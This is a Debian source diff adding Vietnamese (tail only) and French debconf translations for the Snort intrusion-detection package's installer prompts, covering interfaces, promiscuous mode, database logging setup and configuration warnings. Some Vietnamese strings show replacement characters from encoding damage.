+"This system uses an obsolete configuration file (/etc/snort/snort.common."
+"parameters) which has been automatically converted into the new "
+"configuration file format (at /etc/default/snort)."
+msgstr ""
+"Hệ thống này dùng một tập tin cấu hình quá cũ (/etc/snort/snort.common."
+"parameters) mà ta đã được chuyển đổi sang định dạng tập tin cấu hình mới (ở "
+"« /etc/default/snort »). Hãy xem lại cấu hình mới, rồi gỡ b� tập tin cũ. "
+"Trước khi bạn làm như thế, văn lệnh « init.d » sẽ không dùng cấu hình mới và "
+"bạn sẽ không lợi dựng các phiên bản mới."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"Please review the new configuration and remove the obsolete one. Until you "
+"do this, the initialization script will not use the new configuration and "
+"you will not take advantage of the benefits introduced in newer releases."
+msgstr ""
+"Hãy xem lại cấu hình mới, rồi gỡ b� tập tin cũ. Trước khi bạn làm như thế, "
+"văn lệnh « init.d » sẽ không dùng cấu hình mới và bạn sẽ không lợi dựng các "
+"phiên bản mới."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid "Set up a database for snort-mysql to log to?"
+msgstr "Thiết lập một cơ sở dữ liệu cho snort-mysql đăng nhập vào không?"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"No database has been set up for Snort to log to. Before continuing, you "
+"should make sure you have:"
+msgstr ""
+"Chưa thiết lập cơ sở dữ liệu vào đó Snort có thể đăng nhập. Trước khi tiếp "
+"tục, bạn nên kiểm tra xem có :"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+" - the server host name (that server must allow TCP connections\n"
+"   from this machine);\n"
+" - a database on that server;\n"
+" - a username and password to access the database."
+msgstr ""
+" • tên máy của máy phục vụ\n"
+"\tmáy phục vụ đó phải cho phép kết nối TCP từ máy này)\n"
+" • một cơ sở dữ liệu trên máy phục vụ đó\n"
+" • một tên ngư�i dùng và mật khẩu để truy cập đến cơ sở dữ liệu."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"If some of these requirements are missing, reject this option and run with "
+"regular file logging support."
+msgstr ""
+"Thiếu tùy ch�n trên thì từ chối mục này và chạy với hỗ trợ ghi lưu vào tập "
+"tin tiêu chuẩn."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-mysql'."
+msgstr ""
+"Chức năng ghi lưu cơ sở dữ liệu có thể được cấu hình lại v� sau bằng cách "
+"chạy câu lệnh « dpkg-reconfigure -plow snort-mysql »."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid "Database server hostname:"
+msgstr "Tên máy của máy phục vụ cơ sở dữ liệu :"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid ""
+"Please specify the host name of a database server that allows incoming "
+"connections from this host."
+msgstr ""
+"Hãy ghi rõ tên máy của một máy phục vụ cơ sở dữ liệu cho phép kết nối gửi "
+"đến từ máy này."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid "Database name:"
+msgstr "Tên cơ sở dữ liệu :"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid ""
+"Please specify the name of an existing database to which the database user "
+"has write access."
+msgstr ""
+"Hãy ghi rõ tên của một cơ sở dữ liệu đã tồn tại vào đó ngư�i dùng cơ sở dữ "
+"liệu có quy�n ghi."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid "Username for database access:"
+msgstr "Tên ngư�i dùng để truy cập đến cơ sở dữ liệu :"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid ""
+"Please specify a database server username with write access to the database."
+msgstr ""
+"Hãy ghi rõ một tên ngư�i dùng máy phục vụ cơ sở dữ liệu có quy�n ghi vào cơ "
+"sở dữ liệu."
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid "Password for the database connection:"
+msgstr "Mật khẩu để kết nối đến cơ sở dữ liệu :"
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid ""
+"Please enter the password to use to connect to the Snort Alert database."
+msgstr ""
+"Hãy nhập mật khẩu cần dùng để kết nối đến cơ sở dữ liệu Báo �ộng Snort."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid "Configured database mandatory for Snort"
+msgstr "Cơ sở dữ liệu đã cấu hình cần thiết cho Snort"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"Snort needs a configured database before it can successfully start up. In "
+"order to create the structure you need to run the following commands AFTER "
+"the package is installed:"
+msgstr ""
+"Trình Snort cần thiết một cơ sở dữ liệu đã cấu hình, để khởi chạy được. �ể "
+"tạo cấu trúc này, hãy chạy những câu lệnh theo đây SAU KHI cài đặt gói:"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <ngư�i_dùng> -h <máy> -p <tên_cơ_sở_dữ_liệu>"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. MySQL "
+"will prompt you for the password."
+msgstr ""
+"Hãy đi�n vào các giá trị đúng cho tên ngư�i dùng, tên máy và tên cơ sở dữ "
+"liệu. Trình MySQL sẽ nhắc bạn nhập mật khẩu."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"After you have created the database structure, you will need to start Snort "
+"manually."
+msgstr ""
+"Sau khi tạo cấu trúc cơ sở dữ liệu, bạn cần phải tự khởi chạy trình Snort."
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid "Set up a database for snort-pgsql to log to?"
+msgstr "Thiết lập một cơ sở dữ liệu cho snort-pgsql ghi lưu vào không?"
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-pgsql'."
+msgstr ""
+"Chức năng ghi lưu cơ sở dữ liệu có thể được cấu hình lại v� sau bằng cách "
+"chạy câu lệnh « dpkg-reconfigure -plow snort-pgsql »."
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <ngư�i_dùng> -h <máy> -W "
+"<tên_cơ_sở_dữ_liệu>"
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. "
+"PostgreSQL will prompt you for the password."
+msgstr ""
+"Hãy đi�n vào các giá trị đúng cho tên ngư�i dùng, tên máy và tên cơ sở dữ "
+"liệu. Trình PostgreSQL sẽ nhắc bạn nhập mật khẩu."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid "Deprecated configuration file"
+msgstr "Tập tin cấu hình bị phản đối"
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The Snort configuration file (/etc/snort/snort.conf) uses deprecated options "
+"no longer available for this Snort release. Snort will not be able to start "
+"unless you provide a correct configuration file. Either allow the "
+"configuration file to be replaced with the one provided in this package or "
+"fix it manually by removing deprecated options."
+msgstr ""
+"Tập tin cấu hình Snort (/etc/snort/snort.conf) có dùng các tùy ch�n bị phản "
+"đối không còn sẵn sàng lại cho phiên bản Snort này. Trình Snort sẽ không thể "
+"khởi chạy nếu bạn không cung cấp một tập tin cấu hình đúng. Bạn nên hoặc cho "
+"phép tập tin được thay thế bằng tập tin trong gói này, hoặc tự sửa chữa nó "
+"bằng cách gỡ b� các tùy ch�n bị phản đối."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The following deprecated options were found in the configuration file: "
+"${DEP_CONFIG}"
+msgstr ""
+"Trong tập tin cấu hình, tìm thấy những tùy ch�n bị phản đối này:\n"
+"${DEP_CONFIG}"
+
+#~ msgid "You are running Snort manually"
+#~ msgstr "Bạn đang tự chạy Snort"
+
+#~ msgid "There is an error in your configuration"
+#~ msgstr "Gặp lỗi trong cấu hình"
--- snort-2.8.5.2.orig/debian/po/fr.po
+++ snort-2.8.5.2/debian/po/fr.po
@@ -0,0 +1,788 @@
+# Translation of snort debconf templates to French
+# Copyright (C) 2007 Christian Perrier <bubulle@debian.org>
+# This file is distributed under the same license as the snort package.
+#
+# Christian Perrier <bubulle@debian.org>, 2004, 2006, 2007, 2008.
+msgid ""
+msgstr ""
+"Project-Id-Version: \n"
+"Report-Msgid-Bugs-To: snort@packages.debian.org\n"
+"POT-Creation-Date: 2008-05-01 21:28+0200\n"
+"PO-Revision-Date: 2008-04-06 14:44+0200\n"
+"Last-Translator: Christian Perrier <bubulle@debian.org>\n"
+"Language-Team: French <debian-l10n-french@lists.debian.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Generator: KBabel 1.11.4\n"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "boot"
+msgstr "Au démarrage"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "dialup"
+msgstr "À la connexion"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "manual"
+msgstr "Manuellement"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid "Snort start method:"
+msgstr "Méthode de lancement de Snort :"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid ""
+"Snort can be started during boot, when connecting to the net with pppd or "
+"only manually with the /usr/sbin/snort command."
+msgstr ""
+"Snort peut être lancé au démarrage du système, lors de la connexion au "
+"réseau avec pppd ou à la demande via la commande « /usr/sbin/snort »."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid "Interface(s) which Snort should listen on:"
+msgstr "Interface(s) où Snort sera à l'écoute :"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"This value is usually 'eth0', but this may be inappropriate in some network "
+"environments; for a dialup connection 'ppp0' might be more appropiate (see "
+"the output of '/sbin/ifconfig')."
+msgstr ""
+"La valeur habtuelle est « eth0 » mais elle peut varier selon l'environnement "
+"réseau : pour une connexion ponctuelle (« dialup »), « ppp0 » est probablement "
+"plus adapté. Il est suggéré d'utiliser l'affichage de la commande « /sbin/"
+"ifconfig »."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"Typically, this is the same interface as the 'default route' is on. You can "
+"determine which interface is used for this by running '/sbin/route -n' (look "
+"for '0.0.0.0')."
+msgstr ""
+"L'interface est celle qu'utilise la route par défaut. Vous pouvez obtenir "
+"cette information avec la commande « /sbin/route -n » (rechercher « 0.0.0.0 »)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"It is also not uncommon to use an interface with no IP address configured in "
+"promiscuous mode. For such cases, select the interface in this system that "
+"is physically connected to the network that should be inspected, enable "
+"promiscuous mode later on and make sure that the network traffic is sent to "
+"this interface (either connected to a 'port mirroring/spanning' port in a "
+"switch, to a hub or to a tap)."
+msgstr ""
+"Il est également fréquent d'utiliser Snort sur une interface sans adresse "
+"IP, en mode « promiscuous ». Dans ce cas, choisissez l'interface connectée au "
+"réseau que vous voulez analyser et activez ce mode plus tard. Assurez-vous "
+"que le trafic réseau est bien envoyé à cette interface (soit connectée à un "
+"port de miroir ou de répartition, « mirroring/spanning port » sur un "
+"commutateur réseau, soit connectée à un répartiteur ou à un « tap »)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"You can configure multiple interfaces, just by adding more than one "
+"interface name separated by spaces. Each interface can have its own specific "
+"configuration."
+msgstr ""
+"Il est possible de configurer plusieurs interfaces en les mentionnant "
+"toutes, séparées par des espaces. Chacune d'elles pourra avoir une "
+"configuration différente."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid "Address range for the local network:"
+msgstr "Plage d'adresses du réseau local :"
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please use the CIDR form - for example, 192.168.1.0/24 for a block of 256 "
+"addresses or 192.168.1.42/32 for just one. Multiple values should be comma-"
+"separated (without spaces)."
+msgstr ""
+"Veuillez utiliser le format CIDR, par exemple 192.168.1.0/24 pour un bloc de "
+"256 adresses IP ou 192.168.1.42/32 pour une seule adresse. Il est possible "
+"d'indiquer plusieurs adresses sur une seule ligne en les séparant par des "
+"virgules (sans espaces)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please note that if Snort is configured to use multiple interfaces, it will "
+"use this value as the HOME_NET definition for all of them."
+msgstr ""
+"Veuillez noter que si Snort est configuré pour utiliser plusieurs "
+"interfaces, la valeur définie ici sera la valeur HOME_NET pour chacune "
+"d'elles."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid "Should Snort disable promiscuous mode on the interface?"
+msgstr "Faut-il désactiver le mode « promiscuous » sur l'interface ?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid ""
+"Disabling promiscuous mode means that Snort will only see packets addressed "
+"to the interface it is monitoring. Enabling it allows Snort to check every "
+"packet that passes the Ethernet segment even if it's a connection between "
+"two other computers."
+msgstr ""
+"Si le mode « promiscuous » est désactivé, Snort ne verra que les paquets "
+"adressés à sa propre interface. S'il est activé, il vérifiera chaque paquet "
+"transitant sur le segment Ethernet même s'il s'agit d'échanges entres deux "
+"autres ordinateurs."
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid "Invalid interface"
+msgstr "Interface non valable"
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid ""
+"Snort is trying to use an interface which does not exist or is down. Either "
+"it is defaulting inappropriately to 'eth0', or you specified one which is "
+"invalid."
+msgstr ""
+"Snort tente d'utiliser une interface inexistante ou inactive. Soit il "
+"utilise par erreur la valeur par défaut (eth0), soit l'adresse indiquée "
+"n'est pas valable."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid "Should Snort's testing order be changed to Pass|Alert|Log?"
+msgstr ""
+"Faut-il modifier l'ordre de vérification de Snort en « Pass|Alert|Log » ?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid ""
+"Snort's default testing order is Alert|Pass|Log; if you accept this option, "
+"the order will be changed to Pass|Alert|Log, which can make it simpler to "
+"use Snort with some packet-filtering tools."
+msgstr ""
+"L'ordre de vérification par défaut de Snort est « Alert|Pass|Log » (alerter, "
+"faire passer puis journaliser). Si vous choisissez cette option, l'ordre "
+"sera modifié pour utiliser « Pass|Alert|Log » (faire passer, alerter puis "
+"journaliser), ce qui peut simplifier l'utilisation de Snort avec certains "
+"outils de filtrage de paquets."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Should daily summaries be sent by e-mail?"
+msgstr "Faut-il envoyer des rapports quotidiens par courriel ?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid ""
+"A cron job can be set up to send daily summaries of Snort logs to a selected "
+"e-mail address."
+msgstr ""
+"Une tâche quotidienne de cron créera un résumé de l'information des journaux "
+"de Snort et l'enverra à une adresse électronique prédéfinie."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Please choose whether you want to activate this feature."
+msgstr "Veuillez choisir si vous souhaitez activer cette fonctionnalité."
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid "Recipient of daily statistics mails:"
+msgstr "Destinataire des courriers électroniques quotidiens de statistiques :"
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid ""
+"Please specify the e-mail address that should receive daily summaries of "
+"Snort logs."
+msgstr ""
+"Veuillez indiquer l'adresse électronique qui recevra les résumés quotidiens "
+"des journaux de Snort."
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Additional custom options:"
+msgstr "Options personnelles supplémentaires :"
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Please specify any additional options Snort should use."
+msgstr "Veuillez indiquer les options supplémentaires qu'utilisera Snort."
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid "Minimum occurrences before alerts are reported:"
+msgstr "Nombre d'occurrences minimales avant l'envoi d'alertes :"
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid ""
+"Please enter the minimum number of alert occurrences before a given alert is "
+"included in the daily statistics."
+msgstr ""
+"Une alerte doit apparaître un nombre de fois supérieur à celui indiqué pour "
+"être comptabilisée dans les statistiques quotidiennes."
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid "Snort restart required"
+msgstr "Redémarrage de Snort indispensable"
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid ""
+"As Snort is manually launched, you need to run '/etc/init.d/snort' for the "
+"changes to take place."
+msgstr ""
+"Comme Snort est lancé manuellement, il est nécessaire d'exécuter la commande "
+"« /etc/init.d/snort » pour que les modifications soient prises en compte."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid "Configuration error"
+msgstr "Erreur de configuration"
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"The current Snort configuration is invalid and will prevent Snort starting "
+"up normally. Please review and correct it."
+msgstr ""
+"La configuration actuelle de Snort n'est pas valable et l'empêchera de "
+"démarrer. Veuillez la contrôler et la corriger."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"To diagnose an error in a Snort configuration file, use '/usr/sbin/snort -T -"
+"c <file>'."
+msgstr ""
+"Le diagnostic des erreurs du fichier de configuration de Snort peut se faire "
+"avec la commande « /usr/sbin/snort -T -c <fichier> »."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid "Obsolete configuration file"
+msgstr "Fichier de configuration obsolète"
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"This system uses an obsolete configuration file (/etc/snort/snort.common."
+"parameters) which has been automatically converted into the new "
+"configuration file format (at /etc/default/snort)."
+msgstr ""
+"Le système utilise un fichier de configuration obsolète (/etc/snort/snort."
+"common.parameters) qui a été automatiquement converti vers le nouveau format "
+"(dans /etc/default/snort)."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"Please review the new configuration and remove the obsolete one. Until you "
+"do this, the initialization script will not use the new configuration and "
+"you will not take advantage of the benefits introduced in newer releases."
+msgstr ""
+"Veuillez vérifier le nouveau fichier de configuration et supprimer l'ancien. "
+"Tant que cela n'aura pas été fait, le script de démarrage n'utilisera pas la "
+"nouvelle configuration et vous ne bénéficierez pas des améliorations des "
+"versions plus récentes."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid "Set up a database for snort-mysql to log to?"
+msgstr ""
+"Faut-il configurer une base de données pour la journalisation de snort-"
+"mysql ?"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"No database has been set up for Snort to log to. Before continuing, you "
+"should make sure you have:"
+msgstr ""
+"Aucune base de données n'a été configurée pour la journalisation de Snort. "
+"Avant de continuer, veuillez vérifier que vous connaissez :"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+" - the server host name (that server must allow TCP connections\n"
+"   from this machine);\n"
+" - a database on that server;\n"
+" - a username and password to access the database."
+msgstr ""
+" - le nom d'hôte du serveur (qui doit accepter les connexions TCP    "
+"entrantes depuis cette machine) ;\n"
+" - une base de données sur ce serveur ;\n"
+" - un identifiant et son mot de passe pour accéder à cette base de données."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"If some of these requirements are missing, reject this option and run with "
+"regular file logging support."
+msgstr ""
+"Si certains de ces prérequis ne sont pas satisfaits, ne choisissez pas cette "
+"option et utilisez la journalisation dans des fichiers."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-mysql'."
+msgstr ""
+"La journalisation dans une base de données pourra être choisie plus tard "
+"avec la commande « dpkg-reconfigure -plow snort-mysql »."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid "Database server hostname:"
+msgstr "Nom d'hôte du serveur de bases de données :"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid ""
+"Please specify the host name of a database server that allows incoming "
+"connections from this host."
+msgstr ""
+"Veuillez indiquer le nom d'hôte d'un serveur de bases de données qui accepte "
+"les connexions entrantes depuis cette machine."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid "Database name:"
+msgstr "Nom de la base de données :"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid ""
+"Please specify the name of an existing database to which the database user "
+"has write access."
+msgstr ""
+"Veuillez indiquer le nom d'une base de données existante où l'identifiant "
+"choisi possède des droits d'écriture."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid "Username for database access:"
+msgstr "Identifiant de connexion au serveur de bases de données :"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid ""
+"Please specify a database server username with write access to the database."
+msgstr ""
+"Veuillez indiquer un identifiant du serveur de bases de données, qui possède "
+"les droits d'écriture sur la base de données."
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid "Password for the database connection:"
+msgstr "Mot de passe de connexion au serveur de bases de données :"
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid ""
+"Please enter the password to use to connect to the Snort Alert database."
+msgstr ""
+"Veuillez indiquer le mot de passe à utiliser pour la connexion à la base de "
+"données des alertes de Snort."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid "Configured database mandatory for Snort"
+msgstr "Base de données configurée obligatoire pour Snort"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"Snort needs a configured database before it can successfully start up. In "
+"order to create the structure you need to run the following commands AFTER "
+"the package is installed:"
+msgstr ""
+"Snort a besoin d'une base de données configurée pour pouvoir démarrer. "
+"Veuillez créer la structure de base de données APRÈS l'installation du "
+"paquet :"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <identifiant> -h <hôte> -p <base>"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. MySQL "
+"will prompt you for the password."
+msgstr ""
+"Veuillez indiquer les valeurs appropriées pour l'identifiant, le nom du "
+"serveur et de la base de données. MySQL demandera le mot de passe."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"After you have created the database structure, you will need to start Snort "
+"manually."
+msgstr ""
+"Après avoir créé la structure de base de données, vous devrez démarrer Snort "
+"manuellement."
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid "Set up a database for snort-pgsql to log to?"
+msgstr ""
+"Faut-il configurer une base de données pour la journalisation de snort-"
+"pgsql ?"
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-pgsql'."
+msgstr ""
+"La journalisation dans une base de données pourra être choisie plus tard "
+"avec la commande « dpkg-reconfigure -plow snort-pgsql »."
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <identifiant> -h <hôte> -W <base>"
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. "
+"PostgreSQL will prompt you for the password."
+msgstr ""
+"Veuillez indiquer les valeurs appropriées pour l'identifiant, le nom du "
+"serveur et de la base de données. PostgreSQL demandera le mot de passe."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid "Deprecated configuration file"
+msgstr "Fichier de configuration obsolète"
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The Snort configuration file (/etc/snort/snort.conf) uses deprecated options "
+"no longer available for this Snort release. Snort will not be able to start "
+"unless you provide a correct configuration file. Either allow the "
+"configuration file to be replaced with the one provided in this package or "
+"fix it manually by removing deprecated options."
+msgstr ""
+"Le fichier de configuration de Snort (/etc/snort/snort.conf) utilise des "
+"options qui ne sont plus disponibles dans cette version du logiciel. Snort "
+"ne pourra pas démarrer tant que le fichier de configuration ne sera pas "
+"corrigé. Vous pouvez remplacer ce fichier par celui fourni avec ce paquet ou "
+"le corriger vous-même pour supprimer les options obsolètes."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The following deprecated options were found in the configuration file: "
+"${DEP_CONFIG}"
+msgstr ""
+"Liste des options obsolètes dans le fichier de configuration : ${DEP_CONFIG}"
+
+#~ msgid "You are running Snort manually"
+#~ msgstr "Utilisation manuelle de Snort"
+
+#~ msgid "There is an error in your configuration"
+#~ msgstr "Erreur dans la configuration"
+
+#~ msgid "boot, dialup, manual"
+#~ msgstr "Au démarrage, À la connexion, Manuellement "
+
+#~ msgid "When should Snort be started?"
+#~ msgstr "Méthode de lancement de Snort :"
+
+#~ msgid ""
+#~ "If you want you can specify 'any', to not trust any side of the network."
+#~ msgstr ""
+#~ "Vous pouvez, si vous le souhaitez, indiquer « any » pour n'accorder votre "
+#~ "confiance à aucune partie du réseau."
+
+#~ msgid ""
+#~ "One of the interfaces you specified is not valid (it might not exist on "
+#~ "the system or be down). Please introduce a valid interface when answering "
